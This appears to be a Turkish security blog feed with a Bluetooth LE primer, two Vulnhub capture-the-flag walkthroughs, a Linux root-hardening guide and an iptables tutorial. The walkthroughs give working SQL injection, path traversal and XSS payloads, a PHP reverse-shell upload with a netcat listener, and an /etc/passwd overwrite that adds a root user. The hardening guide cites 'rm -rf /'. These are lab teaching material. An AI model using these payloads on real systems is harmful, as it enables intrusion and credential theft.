Öğrenilmesi Gereken Terimler GAP (Generic Access Protocol) GATT (Generic Attribute Profile) UUID (Universally Unique Identifier) (128 Bit Özel Tanımlayıcı) Giriş BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar. Bluetooth protokolü […]
]]>BLE protocolü Bluetooth SIG tarafından geliştirimiltir. Bluetooth ile karşılaştırıldığında(Bluetooh Classic)’e göre BLE daha az güç tüketir, cihazları eşleştirmek daha az zaman ve efor gerektirir. Bluetooth classic’e göre daha düşük bir bağlantı hızı sağlar.
Bluetooth protokolü iki kategoriye ayrılmıştır. Denetleyici ve Ana bilgisayar. Ayrıca bu kategorilerin belirli rolleri yerine getiren alt kategorileri vardır. Bunlardan GAP ve GATT bizim için önemlidir.
GAP ve GATT arasında ki farkı şöyle açıklayalım.
GAP
BLE Stacki üzerinde ki genel topolojiyi tanımlar.
GATT
İki cihaz arasında transfer edilen verinin hangi özellikleri taşıyacağının detaylarını açıklar.
GATT genellikle verinin nasıl formatlandığı, paketlendiğini açıklanan kurallara göre gönderilip gönderilmediğine odaklanır. Bir de işin ATT kısmı vardır. ATT ise GATT’a yakın konumlanan bir protokoldür. Şöyle ki: GATT iki cihaz arasında ki gidip gelen verinin tanımını yapmak için ATT’yi kullanır.
Dış dünyada Bluetooth cihazların birbiri ile iletişime geçebilmesi için 2 adet mekanizma vardır. Bunlar: Yayın yapmak(Broadcasting) veya Bağlanmak(Connecting). GAP bu iki mekanizmayı tanımlamaktadır.
Bir cihaz aşağıda ki GAP rollerinden birini kabul ederek Bluetooth ağına dahil olabilir.
Yayın Yapmak Bu rolde bir cihaza veri aktarmak için bağlantıya gerek yoktur.
Bağlanmak Bu rolde veri transferi için cihazların bağlı olması gerekmektedir. Bu rol Yayın Yapma(Broadcasting) rolüne göre daha fazla kullanılmaktadır.
Çevresel cihazlar ve Merkezi cihazların bağlantıları bir çok sebeple kopabilir fakat cihazlar kendi bağlantılarını da sonlandırabilirler.
Merkezi cihaz ile çevresel cihazın birbirine bağlanabilmesi için çeşitli bağlantı parametrelerine ihtiyacı vardır. Bu parametreler sadece Merkezi cihaz tarafından değiştirilebilir ve güncellenebilir fakat çevresel bir cihaz merkezi cihazdan bağlantı parametrelerini değiştirmesini isteyebilir.
GAP’a benzer bir şekilde cihazların etkileşime geçebilmesi için kabul edebileceği/benimseyebileceği roller bulunmaktadır.
Bunlar:
Bluetooth Stack’i aşağıda ki gibidir.
Ayrıca ESP32 ile de araştırmalar veya çalışmalar yapabilirsiniz.
İleride belki bununla ilgili teknik bir yazı yazabilirim. Şuanlık yazımız bu kadar.
Okuduğunuz için teşekkürler.
Daha detaylı bilgi için:
]]>Merhaba arkadaşlar bu yazımızda elimden geldiğince sizlere Vulnhub üzerinden HackDay adlı vulnerable makinede root olmaya çalışacağım. Makinenin adresi : https://www.vulnhub.com/entry/hackday-albania,167/ Direk başlayalım isterseniz. Her zaman başlangıç noktasına ihtiyacımız vardır bu yüzden lokal ağımıza bir nmap taraması atıp HackDay adlı makinanın adresini bilmemiz gerekiyor. nmap -sT -sV 192.168.1.1/24 Yukarıda ki komutu kullanarak tarama gerçekleştirdim. Gördüğünüz gibi […]
]]>Merhaba arkadaşlar bu yazımızda elimden geldiğince sizlere Vulnhub üzerinden HackDay adlı vulnerable makinede root olmaya çalışacağım.
Makinenin adresi : https://www.vulnhub.com/entry/hackday-albania,167/
Direk başlayalım isterseniz.
Her zaman başlangıç noktasına ihtiyacımız vardır bu yüzden lokal ağımıza bir nmap taraması atıp HackDay adlı makinanın adresini bilmemiz gerekiyor.
nmap -sT -sV 192.168.1.1/24
Yukarıda ki komutu kullanarak tarama gerçekleştirdim.
Gördüğünüz gibi 8008 portunda http servisi çalışıyormuş makinamızın.Hemen giriyoruz.
Translate sağolsun bana güzel bir ipucu verdi.Web Crawler yaparken biz genelde ilk nereye bakarız ? robots.txt değil mi ? Çünkü var ise orası bir çok bilgi barındırabilir.
robots.txt ye girdiğimde şöyle bir ekran ile karşılaştım.
Bütün linkleri elle gezebilirsiniz.Hepsinde bir dinazor arkadaşımız bize mesaj veriyor.Ama translate bana bu konuda yardımcı olmadı.
Bende şöyle bir komutlar zinciri uygulamak zorunda kaldım.
curl http://192.168.1.22/robots.txt | awk {'print $2'} > urlist.txt
Bu arkadaş ne yapıyor bunu açıklamak gerekirse.Robots.txt nin içeriğini çekiyor daha sonra awk ( reis ) sayesinde çektiği metinde ki 2.sütunu alıyor ve bunu urlist.txt içerisine yazdırıyor.
Yeterli mi ? Tabi ki de hayır.2 Ayrı script olarak yaptım ama isterseniz birleştirebilirsiniz de siz.
2.scriptim şu şekilde
cat urlist.txt | awk '{print "http://192.168.1.22"$0}' >> clearurl.txt
Bu komutta farklı olarak printin içine adresimizin ön ekini verdik.Çektiğimiz klasörler url in sonuna eklenecek ve bize bir url çıktısı verecek.
Şimdi işin önemli kısmına gelelim isterseniz.
Bir bash script hazırladım bu aşamada kodu direk olarak kopyalamıyorum buraya ( çünkü hatalı ) ne yaptığını anlatayım.
a diye bir integer değişken tanımlıyoruz.Daha sonra da art adında artış miktarını belirleyen bir değişken tanımladık.
cat clearurl.txt ile clearurl.txt yi okuyup bunu while döngüsüne atıyoruz.
While döngüsünde ise biz bu text dosyasını satır satır okuyoruz ve altına da döngü miktarını yazıyoruz ki birşey bulursak kaçıncı linkte olduğunu bulalım değil mi ? Hoş siz daha kolay bir şekilde oraya echo $line yazarak linki direk olarak kopyalayabilirsiniz.
Yukarıda ki ekran resminden anlayacağınız gibi aralarında farklı olan bir title a denk geldik.
Oh harika bir banka sayfası bizden username ve password istiyor.Burada imdadımıza sqlmap yetişecek.Ben basit login bypass yöntemlerini denedim fakat başarılı olamadım.
Mysql olduğunu öğrendik.( Şaşırdık mı ? )
sqlmap -u "url" --data="username=admin&password=admin --level=5 risk=3 --dbs
komutunu çalıştırıyorum.
Gördüğünüz gibi blind sql injection ve time-based blind buldu.Verdiği payloadları denediğimde giriş sağlayamadım ve biraz araştırdıktan sonra ( walkthroughları inceledim itiraf ediyorum. )
username kısmında aşağıda ki komutu girdiğimizde 5 saniye sonra login olduğumuzu görüyoruz.Zaten vulnerable kolonu username kısmıydı.
admin'RLIKE SLEEP(5)-- DBgy
Login olduk…
Hemen inputlarımızı aramaya başladık burada Contact Support formu bulunuyor ve browse buttonu var.Gözlerinizde çıkan reverse shell işaretlerini görür gibiyim.
Sayfaya jpg yüklediğinizde direkt olarak gösteriyor.Direkt olarak php dosyası yüklerseniz hata veriyor fakat yinede sol tarafta gösteriyor.Tıkladığınızda ise reverse shell çalışmıyor.
Ben hemen şuradan php reverse shell indirdim.
uzantısının sonunu .jpg yaptım.
Yani dosya ismim : reverse_shell.php.jpg oldu.
Dosyamızı attık şimdide kendi terminalimizden netcat ile dinlemeye alalım portu.
PHP shell içinde ki port ve ip bilgisini değiştirmeyi unutmayın.
nc -lnvp 3333
Linkimize tıkladım ve çalıştı !
Şimdi buradan sonrası önemli olan kısım.
Ben hemen web sitesinin yayınlanma olasılığının çok olduğu klasöre gittim.
Orası da /var/www
içerisinde config.php diye bir dosya gördüm ve cat ile dosyayı okudum.
Database bilgileri elimizde ama yeter mi ? Evet , pardon hayır.
ls -la /etc/ | grep passwd
yaptığınızda passwd dosyasına yazabileceğinizi gördünüz.
Ben bütün passwd dosyasını kendi makinama indirip daha sonra düzenleyip base64’ünü aldım.
Ortaya şu şekilde bir görüntü çıktı:
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtdGltZXN5bmM6eDoxMDA6MTAyOnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb24sLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzdGVtZC1uZXR3b3JrOng6MTAxOjEwMzpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQvbmV0aWY6L2Jpbi9mYWxzZQpzeXN0ZW1kLXJlc29sdmU6eDoxMDI6MTA0OnN5c3RlbWQgUmVzb2x2ZXIsLCw6L3J1bi9zeXN0ZW1kL3Jlc29sdmU6L2Jpbi9mYWxzZQpzeXN0ZW1kLWJ1cy1wcm94eTp4OjEwMzoxMDU6c3lzdGVtZCBCdXMgUHJveHksLCw6L3J1bi9zeXN0ZW1kOi9iaW4vZmFsc2UKc3lzbG9nOng6MTA0OjEwODo6L2hvbWUvc3lzbG9nOi9iaW4vZmFsc2UKX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKbHhkOng6MTA2OjY1NTM0OjovdmFyL2xpYi9seGQvOi9iaW4vZmFsc2UKbXlzcWw6eDoxMDc6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTA4OjExMjo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCnV1aWRkOng6MTA5OjExMzo6L3J1bi91dWlkZDovYmluL2ZhbHNlCmRuc21hc3E6eDoxMTA6NjU1MzQ6ZG5zbWFzcSwsLDovdmFyL2xpYi9taXNjOi9iaW4vZmFsc2UKc3NoZDp4OjExMTo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgp0YXZpc286eDoxMDAwOjEwMDA6VGF2aXNvLCwsOi9ob21lL3RhdmlzbzovYmluL2Jhc2gKZW5lczokMSRQZDZXYW4xMCQ2Z3dWczVtOVE2N0hrVkovQ0FVbHUwOjA6MDplbmVzOi9yb290Oi9iaW4vYmFzaAo=" | base64 -d > /etc/passwd
enes adında bir kullanıcı oluşturdum ve bunu passwd dosyasına yazdırdım.
Yaptığım denemeleri arka planda görebilirsiniz.
Herşey harika değil mi ? Hayat bu kadar kolay olmamalı ?
su – enes dediğimizde bize hata verdi.
su: must be run from a terminal
Bu ne demek ?
Bizim bir tty shell spawn etmemiz lazım bu gereklilik en başta aklımıza gelmeliydi aslında.
Neyse ben bunun için yardımcı bir cheat sheet den yardım aldım.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Bize gerekli terminali sağlayacaktır.
Artık su – enes yaparak şifremizi girip root olabiliriz.
Geriye de sadece flagimizi aramak kaldı.
Bunun içinde
find / -name "*flag*" 2>/dev/null
Yapabiliriz.Burada 2>/dev/null hatalar çıkarsa eğer null uzay çöplüğüne gönder bize gösterme demek.
Burada Tebrikler şimdi raporu gönderin gibi birşey yazıyor.
Altında ki md5 sizinde dikkatinizi çekti değil mi ? Evet benimde çekti
Çokta önemli birşey değilmiş.Eğer önemliyse bildiriniz.
]]>
Merhaba arkadaşlar, Bugün Vulnhub’da yayınlanan Seattle v0.3 makinesini çözmeye çalışacağız. Hemen başlayalım. Önce indirdiğimiz makineyi VM yazılımınızla ayaklandırın. Makinenin kullanıcı adı root parolası ise PASSWORD Saldırı yapacağımız hedef makinenin öncelikle IP adresini öğrenmemiz gerekiyor. Bunu network taramaları ile yapabilirsiniz. Makine elimizde olduğu için hızlıca makineye erişip Terminal’e ifconfig yazarak hedef sistemin IP adresini öğrenmiş olduk. IP adresini öğrendikten sonra saldırı için bilgi toplama aşamasına […]
]]>Merhaba arkadaşlar,
Bugün Vulnhub’da yayınlanan Seattle v0.3 makinesini çözmeye çalışacağız. Hemen başlayalım.
Önce indirdiğimiz makineyi VM yazılımınızla ayaklandırın. Makinenin kullanıcı adı root parolası ise PASSWORD
Saldırı yapacağımız hedef makinenin öncelikle IP adresini öğrenmemiz gerekiyor. Bunu network taramaları ile yapabilirsiniz. Makine elimizde olduğu için hızlıca makineye erişip Terminal’e
ifconfig
yazarak hedef sistemin IP adresini öğrenmiş olduk.
IP adresini öğrendikten sonra saldırı için bilgi toplama aşamasına geçebiliriz. Hedef sistem aynı ağda bulunduğu için öncelikli işimiz port taramak oluyor.
SYN taraması yaptığımızda aşağıda ki çıktı ile karşılaşıyoruz.
nmap -sS -sV 192.168.1.55
Göründüğü gibi sistemin 80 portu üzerinde Apache servisi çalışıyor. Bunun dışında bir sonuçla karşılaşmadık. O zaman IP adresine HTTP üzerinden bağlanalım. Tarayıcımıza IP adresini yazıp bağlandığımız da karşımıza Seattle Sounds başlığı bulunan bir site karşılıyor.
İlk aşamada port tarama işlemi sonucunda sadece 80 portunun açık olduğunu öğrendiğimiz için bu web sitesi üzerinden gitmemiz gerektiği kararına varabiliriz.
Siteyi hızlıca incelerken Catalogue adlı bir link ilgimi çekti. Bu linke tıklayınca web uygulaması bize bir pdf dosyası indirme bağlantısı sunuyor.
http://192.168.1.55/download.php?item=Brochure.pdf # linkimiz bu
Yukarıda ki link son kullanıcı için masum gözükse bile zarar vermek niyetinde olan kişiler için çokta sağlıklı bir yapıda değil.
Aşağıda ki gibi pdf dosyasının yerine linux dosya sisteminde kullanılan ve bir üst dizine çıkmayı belirten ” ../” karakterler ile linux sistemlerde kullanıcı kayıtlarını tutan passwd dosyasının yolunu yazdık ve karşımıza bu dosyanın içeriği geldi.
http://192.168.1.55/download.php?item=../../../../../../../../etc/passwd
Not: Burada geri gelme karakterlerini çok fazla kullanmamızın sebebi dizin yapısını tam olarak bilememizdir. İsterseniz yüzlerce kullanabilirsiniz linux tabanlı sistemlerde en üst dizin olan root dizinine çıkacaktır.
Aşağıda passwd dosyasının içeriğini görmektesiniz.
Kullandığımız bu açığın literatürde ki ismi Path Traversal/LFI ‘dir. Şimdi bir de web app penetration testlerinde çokça kullanılan nikto adlı araç ile web uygulamamızı bir kontrol edelim.
nikto -h http://192.168.1.55/ -o nicktoresults.txt
Şeklinde kodu terminalimize giriyoruz.Bu kodu açıklamak gerekirse -h argümanı hostname’i -o ise output u temsil eder. Yani -o argümani ile çıktılarımızı nicktoresults.txt diye bir txt dosyasına kaydediyoruz.
çıktı sonucu aşağıda ki gibidir.
- Nikto v2.1.6/2.1.5 + Target Host: 192.168.1.55 + Target Port: 80 + GET Cookie level created without the httponly flag + GET Retrieved x-powered-by header: PHP/5.6.14 + GET The anti-clickjacking X-Frame-Options header is not present. + GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + VYUPBYCA Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-877: TRACE HTTP TRACE method is active, suggesting the host is vulnerable to XST + GET Uncommon header 'content-disposition' found, with contents: filename="downloads" + GET /config.php: PHP Config file may contain database IDs and passwords. + OSVDB-3268: GET /admin/: Directory indexing found. + OSVDB-3092: GET /admin/: This might be interesting... + OSVDB-3268: GET /downloads/: Directory indexing found. + OSVDB-3092: GET /downloads/: This might be interesting... + GET Server leaks inodes via ETags, header found with file /manual/, fields: 0x2304 0x51b0c59e09040 + OSVDB-3092: GET /manual/: Web server manual found. + GET /info.php: Output from the phpinfo() function was found. + OSVDB-3233: GET /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. + OSVDB-3268: GET /icons/: Directory indexing found. + OSVDB-3268: GET /manual/images/: Directory indexing found. + OSVDB-3268: GET /images/: Directory indexing found. + OSVDB-3268: GET /images/?pattern=/etc/*&sort=name: Directory indexing found. + OSVDB-3233: GET /icons/README: Apache default file found. + GET Cookie lang created without the httponly flag + GET /info.php?file=http://cirt.net/rfiinc.txt?: Output from the phpinfo() function was found. + OSVDB-5292: GET /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
Bu sonuçlara göre bir baştan gidelim isterseniz.
/admin/ şeklinde bir path girdiğimizde içeride ki dosyaları görebiliyoruz.
İsterseniz LFI açığı sayesinde bu dosyaları indirebilirsiniz. Aşağıda rastgele olarak girilmiş indirilmiş olan iki adet dosya örneği vardır.
http://192.168.1.55/download.php?item=../admin/admincontent.php
http://192.168.1.55/download.php?item=../config.php
Nikto sonuçlarına göre phpinfo yu da
http://192.168.1.55/info.php
‘ dan okuyabiliyoruz.
Nikto sonuçlarını daha sonra değerlendirmek için bir kenara bırakıyoruz ve bir diğer çok kullanılan program olan Burp Suite programımızı başlatıyoruz.
Iceweasel ile ayarlarımızı yaptıktan sonra intercept imiz açık bir şekilde siteye istek gönderiyoruz ve yakalanan veriyi spider’a atıyoruz. Target kısmında ise spider ımızın yaptığı işi görüyorsunuz.
Burada ki sonuca göre GET ile çekilen bazı sayfaları denemek gerekebilir.
Rastgele bir sayfa seçerek burp suite ile araya girelim.
Burada action’a tıklayarak bunu repeater a gönderdim burada bazı denemelerimiz olacak.
Aşağıda ki resimde bir çok deneme yaptım type kısmında false-positive aradım fakat bulamadım bende prod=1 argümanında aramaya karar verdim ve burada db’yi hata vermeye zorladım. Bu gibi durumlarda SQLi olabileceğinden şüphelenebiliriz.
SQLi olduğunu düşündüğüm için yine kali üzerinde bulunan sqlmap yazılımını kullanacağım.
Kullandığım parametreler =
sqlmap -u "192.168.1.42/details.php?prod=1&type=1" --dbms MySQL --level 3 --risk 3 --dbs
sqlmap -u "192.168.1.42/details.php?prod=1&type=1" -p prod --dbms MySQL --level 3 --risk 3 --dbs
Burada ki komutları kısaca açıklarsak;
dbms: Database Management System, Database sistemini seçiyoruz bu MySQL olabilir MSSQL olabilir tamamen siteye bağlıdır. İlk sql injection dediğimizde bize mysql çıktısını vermişti o yüzden Mysql seçtik.
–level: Burada bazı sistemlerde bulunan filtreleme metodları vardır bunları atlatabilmek için (eğer varsa) böyle bir komut giriyoruz. Level ve risk gibi parametreleri belirtmezisek not injectable olarak çıktı gönderebilir.
–dbs: Database i enumerate ( türkçe olarak saymak/dökmek kullanabiliriz sanırım ) etmek için kullanıyoruz.
-p ise verdiğimiz url de hangi parametreye bu atakları yapacağını belirtmemizi sağlıyor.
Diğer komutlar için
sqlmap --help | grep "\--dbs" #Örnek
şeklinde komutlara bakabilirsiniz. Burada gönderdiğimiz komutlar ile get metodu olduğu unutulmasın eğer post metodu kullanılsaydı –data şeklinde bir kullanımımız olacaktı.
Şimdilik burada bir şey bulamadık siteyi biraz daha gezelim.
Not: Eğer bu kısımda bir zafiyet var ise aşağıya yorum olarak belirtirseniz hem ben hemde yazıyı okuyabilecek kişiler faydalanmış olur.
Artık 2-3 tool’un genel anlamıyla nasıl kullanıldığını da anlatmış olduk o yüzden sonuç odaklı gideceğim.
Login sayfasında bir deneme yapalım.
Burada yapılan isteği raw olarak kaydettik. Sağ tık save item dediğinizde nereye kaydetmek isteyeceğinizi soracaktır.
Bu kaydettiğimiz dosyayı sqlmap ile otomatize edeceğiz.
sqlmap -r deneme --dbs
Gördüğünüz gibi bize db isimlerini çekti.
Bizim istediğimiz bilgiler olasılıkla seattle db’inde olacaktır.
Şimdi
sqlmap -r deneme --dbs -D seattle --tables
-D kısmıyla db ‘ mizi seçtik ve tables ile tabloları istediğimizi belirttik.
sqlmap -r deneme --dbs -D seattle --columns
Eğer adım adım gitmek isterseniz bu şekilde gidebilirsiniz ama ben direk dump olarak almak istedim o yüzden
sqlmap -r deneme --dbs -D seattle --dump-all
yukarıda ki komutu girdim ve artık admin parolamız elimizde.
Çıktımız :
Kullanıcı adı: [email protected]
Parola: Assasin1
Şimdi birde blog kısmına bakalım burada admin bloglarına tıkladığımızda
blog.php?author=admin gibi bir get ibaresi görüyoruz ve aşağıda da admin yazıyor.(SQL inj denemeleri yapsam da bir sonuç alamadım.)
Buradan xss almaya çalışalım.
Burada html kodlarına baktığımızda yazdığımız ibarenin
olduğunu görüyoruz.
<span class="author-bizimibaremiz">bizimibaremiz</span>
Öncelikle bizim tırnak içinden ‘ ” ‘ ile çıkmamız daha sonra da span tagını kapatmamız gerekiyor.
Bunun içinde ben! ( Siz daha farklı yapabilirsiniz )
"\><script>alert(1)</script
şeklinde bir payload ile alertimi aldım.
Ekstra bir not :
Dil kısımlarından GBP kısmını silip ../../../etc/passwd yaptığımda ekrana direk olarak passwd ekranı dökülmedi fakat ürünler sayfasına geldiğimizde orada ürünler kısmında passwd içeriğini görebildim.
Bunun neden olduğunu emin olun bilmiyorum en mantıklı açıklamam bu şekilde.
Bunu tekrar sağlamak istediğimde
products.php?LANG=../../etc/hosts
şeklinde giriş yaptığımda mantığımın doğru olduğunu da sağlamış oldum.
Neyse daha fazla uzatmadan aslında bu yazımızda sql injection , xss , lfi / path traversal görmüş olduk.Zaten LFI ile ilk başlarda mysql user passwordunu de çekmiştik. Burada asıl amacımız çeşitli toolların kullanımını görmekti.
https://www.vulnhub.com/entry/seattle-v03,145/
Başka bir yazıda görüşmek üzere esen kalın.
]]>Merhabalar , bu yazımızda konumuz linux sistemlerin yöneticisi olan ROOT kullanıcı güvenliğidir.( Windows’da bu Administrator ) . Root kullanıcı neden önemlidir ? Root kullanıcı sistemde herşeye yetkisi olan kullanıcıdır.Diğer bir deyimle superuserdır. Ayrı bir parola ile korunabildiği gibi kurulum sırasında vermiş oldugunuz kullanıcı şifresiyle de korunabilir bu tamamen sizin konfigürasyonunuza bağlıdır.Linux’da default çoğu ayar root […]
]]>Merhabalar , bu yazımızda konumuz linux sistemlerin yöneticisi olan ROOT kullanıcı güvenliğidir.( Windows’da bu Administrator ) .
Root kullanıcı sistemde herşeye yetkisi olan kullanıcıdır.Diğer bir deyimle superuserdır. Ayrı bir parola ile korunabildiği gibi kurulum sırasında vermiş oldugunuz kullanıcı şifresiyle de korunabilir bu tamamen sizin konfigürasyonunuza bağlıdır.Linux’da default çoğu ayar root kullanıcısının iznine verilmiştir.Yani bizim normal kullanıcılarımız çoğu işlemi yapamazlar aslında.Örnek vermek gerekirse
sudo apt-get install python-setuptools
Yukarıda ki komutumuz python-setuptools kurmak içindir ve sudo ( superuser do ) superuser yap beni bebeğim ve şu programı kur demektir.
Evet çoğu ayar linux sistemlerde default olarak gelsede hardening kısmında bu ayarlar etkisiz kalabiliyor.
Örnek bir senaryo vermek gerekirse :
Sistemimize ulaşan bir hacker sudo ile bir işlem yapmak istediği zaman yetki yükseltme buglarından yararlanarak root olabilir ve
rm -rf /
yaparak sistemimize ciddi ( !? ) hasar verebilir.Ama eğer gerekli önlemleri almış olabilseydik böyle birşey yapamayacaktı.
Not:Bu işlem DdoS saldırılarında sunucunun fişini çekmekle aynı muameleyi görebilir.
Bunun için ( debian sistemlerde )
nano /etc/passwd
( ironik olarak bu değişim için root kullanıcısına ihtiyacımız var )
yazıp root kullanıcısının veya istediğiniz kullanıcının
son kısmında ki örnek bin/bash olan kısmı
/bin/false
yaparsanız ulaşamayacaktır.
RedHat de ise
/sbin/nologin
şeklinde olacak bir konfigürasyondur.
Bunun için yine
nano /etc/ssh/sshd_config
şeklinde dosyamızı açıyoruz ve CTRL+W şeklinde arayabilirsiniz isterseniz PermitRootLogin değerini No yapıyoruz.
Sudoers kullanıcılara komut bazlı filtreleme yapabileceğimiz bir alandır.Visudo harici düzenleme yapmaya kalkarsanız büyük ihtimal hatalara boğulacaksınızdır.O yüzden düzenleme yaparken visudo ile düzenleme yapınız.
Aslında en önemli kısımdır.
Örnek vermek gerekirse mesela bir kullanıcı grubuna bazı komutları engelleyelim.
%admin ( usergroup ) ALL(veya hostname yazabilirsiniz)=(root)NOPASSWD:/usr/bin/apt-get *
Yukarıda ki komutta admin grubunda ki herkese bu komutu kullanması için izin verdik.Bu sayede bu grup harici bu komutları kullanamayacaktır.
Eğer sadece 1 kullanıcıya izin vereceksek
%admin kısmını örnek olarak : 0x656e şeklinde değiştiriyoruz.
Peki ya bir kullanıcının bir programı kullanmasını engelleyeceğiz nasıl yapacağız ?
Mesela wget i engelleyelim.
%admin ( grubumuzun adı ) ALL=ALL NOEXEC: /usr/bin/wget
Mesela bazı komutlar vardır her zaman çalıştırabiliriz ( istisnai lokasyonlar hariç ) örnek olarak rm komutu.Nedir bu komut ? Argüman olarak verdiğimiz klasörü ( -rf ) veya dosyayı siler.
Örnek bir senaryo üzerinden gidersek : web sitesini yapan yazılımcı arkadaş henüz geliştirirken rahat etmek amacıyla /var/www/html klasörünün chmod’unu 777 yapmıştır.Biz öyle birşey yapmalıyız ki bu klasörü root parolası olmadan silemesin ?
Yapmamız gereken şey terminale:
whereis rm
yazıp rm executable dosyasının konumunu bulmak.
rm: /bin/rm /usr/share/man/man1/rm.1.gz
Bende böyle bir çıktı verdi.
Bu executable dosyanın chmod’unu 700 yapmamız gerekiyor.
sudo chmod 700 /bin/rm
Nurtopu gibi bir hacker savarımız oldu.
Not:İşletim sistemi değişikliğinden dolayı ss’lerde farklılıklar vardır.
IPTables Nedir? Kernel bazında çalışan ağ paketlerini inceleyebileceğimiz müdahalede bulunabileceğimiz,Linux üzerinde çalışan bir güvenlik duvarı( ateş duvarı (firewall))dır.Oldukça kullanışlı bir araçtır kendisi.Linux üzerinde ki hangi tool/yazılım değil ki ? Bilinmesi Gereken Komutlar & Kavramlar. ACCEPT : Gelen giden paketleri kabul etmek için kullanılır. DROP : Gelen giden paketleri düşürmek için kullanılır. REJECT : Gelen giden […]
]]>IPTables Nedir?
Kernel bazında çalışan ağ paketlerini inceleyebileceğimiz müdahalede bulunabileceğimiz,Linux üzerinde çalışan bir güvenlik duvarı( ateş duvarı (firewall))dır.Oldukça kullanışlı bir araçtır kendisi.Linux üzerinde ki hangi tool/yazılım değil ki ?
Sıfır bir iptables ayarlarına bir göz atalım isterseniz.
iptables -L -n --line-numbers
Tam halini görmek için : defaultrules.txt on github
Bir ip adresini drop edelim isterseniz.Şuan elimde web for pentesterın imajı var.Hemen ip almasını sağlayalım.
Gördüğünüz gibi 192.168.1.42 ip’sini almış.
iptables -I OUTPUT -d 192.168.1.42 -j DROP
Bu kodu şimdi aşama aşama görelim.
Şimdide bir domain engelleyelim isterseniz.
iptables -I OUTPUT -d https://www.canyoupwn.me -j DROP
İyi hoş güzel biz engelliyoruz ama lazım oldu bunu kaldırmak istedik o zaman nasıl yapacağız ?
O zaman ilk önce şöyle komut gireceğiz.
iptables -L -n --line-number | grep “ipadresi”
Şaka şaka evet bu yöntemi de kullanabilirsiniz ama kurallarınız çoğaldığın da bu bir sorun olacak.
Iptables -L OUTPUT -n --line-number
Bu şekilde eklediğiniz kuralları görebiliyorsunuz.”–line-number” komutunu verdik ki silerken satır satır silmemizde bize kolaylık sağlasın diye.
Silmek için aşağıda ki komut yeterlidir.
iptables -D OUTPUT 1
Kodumuza daha yakından bakalım.
Şu ana kadar hep engellerken -d parametresini kullandık.İsterseniz source’un ilk harfi olan -s i kullanabilirsiniz.Bu da şu anlama gelir.Şöyle örnekle açıklayalım.
iptables -I INPUT -s 192.168.1.42 -j REJECT
Burada kaynağı yani bize paket gönderen 192.168.1.42 olur ise onu reddet diyoruz.
IPTables ile istersek belirli portalara gelen istekleri veya giden istekleri de engelleyebiliyoruz.Mesela bir şirkette çalıştığımızı düşünelim ve 80 portunun çıkışını engelleyelim ama girişi olsun.
iptables -I OUTPUT -p tcp --dport 80 -j DROP
Bu şekilde engelleyebiliyoruz.Ama bilirsiniz uzak bir ülkede telekom firması da bu şekilde 3 ay boyunca borcunuzu ödemediğiniz takdirde 80 portunu kapatıyordu fakat bir sorun vardı https üzerinden internete ( yavaşda olsa ) çıkabiliyorduk.İşte yukarıda yazdığımız kod ile biz de böyle bir artık açık mı dersiniz ne dersiniz ona sebebiyet verdik :).Burada –dport yerine –sport da kullanarak source port ( kaynak port ) engelleyebilirsiniz.
